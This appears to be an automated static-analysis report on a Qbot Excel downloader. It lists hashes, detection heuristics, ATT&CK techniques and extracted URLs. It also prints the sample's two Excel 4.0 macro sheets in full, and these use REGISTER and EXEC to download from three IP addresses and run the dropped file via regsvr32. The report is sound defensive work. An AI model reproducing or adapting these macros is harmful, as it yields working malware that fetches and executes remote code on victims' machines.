Qbot — Office (OOXML) malware analysis

Static analysis result for SHA-256 40995bf5a38f235e…

MALICIOUS

Office (OOXML)

150.1 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-02
MD5: 96c140cece0a318b6029df1b3aa262ea SHA-1: 3348ea88f21c666aace18fa2e8434e1771ee3c8c SHA-256: 40995bf5a38f235ef9c461208407b9f03d20a5f5ee56b108d73902855ce99a9f
250 Risk Score

Malware Insights

Qbot · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

This Excel file contains critical Excel 4.0 macros, including the use of dangerous functions like REGISTER, RUN, and EXEC. The macros are designed to download a file from the URL 'http://94.140.115.23/' and execute it using 'regsvr32 ..\Kro.fis'. This behavior is consistent with a downloader, and ClamAV detection further supports this, identifying it as Qbot. The use of XLM macros indicates a Visual Basic scripting technique.

Heuristics 6

  • ClamAV: Xls.Downloader.Qbot06210-9875009-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Qbot06210-9875009-0
  • Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: REGISTER, RUN, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://94.140.115.23/ In document text (OOXML body / shared strings)
    • http://103.155.92.153/In document text (OOXML body / shared strings)
    • http://45.153.231.190/In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2415 bytes
SHA-256: 37807bb00bcf4c8a09e967d7d097cec9e13f8b929fa4c14c7b64daf69881819f
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1F6988B8-EA22-44CB-B340-DE917F2EE874}"><dimension ref="F8:H25"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="5" width="9.140625" style="1"/><col min="6" max="6" width="27.5703125" style="1" customWidth="1"/><col min="7" max="7" width="36.7109375" style="1" customWidth="1"/><col min="8" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="8" spans="6:8" x14ac:dyDescent="0.25"><c r="G8" s="1" t="str"><f>NOW()&amp;H8</f><v>44372,548321875</v></c><c r="H8" s="1" t="s"><v>3</v></c></row><row r="12" spans="6:8" x14ac:dyDescent="0.25"><c r="G12" s="1" t="b"><f>REGISTER(Sheet2!O12,Sheet2!O13,Sheet2!O14,Sheet2!O15,,1,9)</f><v>0</v></c></row><row r="13" spans="6:8" x14ac:dyDescent="0.25"><c r="F13" s="1" t="str"><f>"http://94.140.115.23/"</f><v>http://94.140.115.23/</v></c><c r="G13" s="1"><f>Jerutyg(0,F13&amp;G8,"..\Kro.fis",0,0)</f><v>0</v></c></row><row r="14" spans="6:8" x14ac:dyDescent="0.25"><c r="F14" s="1" t="str"><f>"http://103.155.92.153/"</f><v>http://103.155.92.153/</v></c><c r="G14" s="1"><f>Jerutyg(0,F14&amp;G8,"..\Kro.fis1",0,0)</f><v>0</v></c></row><row r="15" spans="6:8" x14ac:dyDescent="0.25"><c r="F15" s="1" t="str"><f>"http://45.153.231.190/"</f><v>http://45.153.231.190/</v></c><c r="G15" s="1"><f>Jerutyg(0,F15&amp;G8,"..\Kro.fis2",0,0)</f><v>0</v></c></row><row r="25" spans="7:7" x14ac:dyDescent="0.25"><c r="G25" s="1" t="b"><f>RUN(Sheet3!H2)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1743 bytes
SHA-256: cd04a03b4f58aa21df8cd04c63c5ed24a678c90f1597ee10ee1e55415d10c97a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1614BABA-7384-41D8-BABE-097E46CAC7C9}"><dimension ref="H9:H17"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="9.140625" style="1"/><col min="8" max="8" width="14.5703125" style="1" bestFit="1" customWidth="1"/><col min="9" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="9" spans="8:8" x14ac:dyDescent="0.25"><c r="H9" s="1" t="b"><f>EXEC(Sheet2!O22)</f><v>0</v></c></row><row r="10" spans="8:8" x14ac:dyDescent="0.25"><c r="H10" s="1" t="b"><f>EXEC(Sheet2!O22&amp;"1")</f><v>0</v></c></row><row r="11" spans="8:8" x14ac:dyDescent="0.25"><c r="H11" s="1" t="b"><f>EXEC(Sheet2!O22&amp;"2")</f><v>0</v></c></row><row r="17" spans="8:8" x14ac:dyDescent="0.25"><c r="H17" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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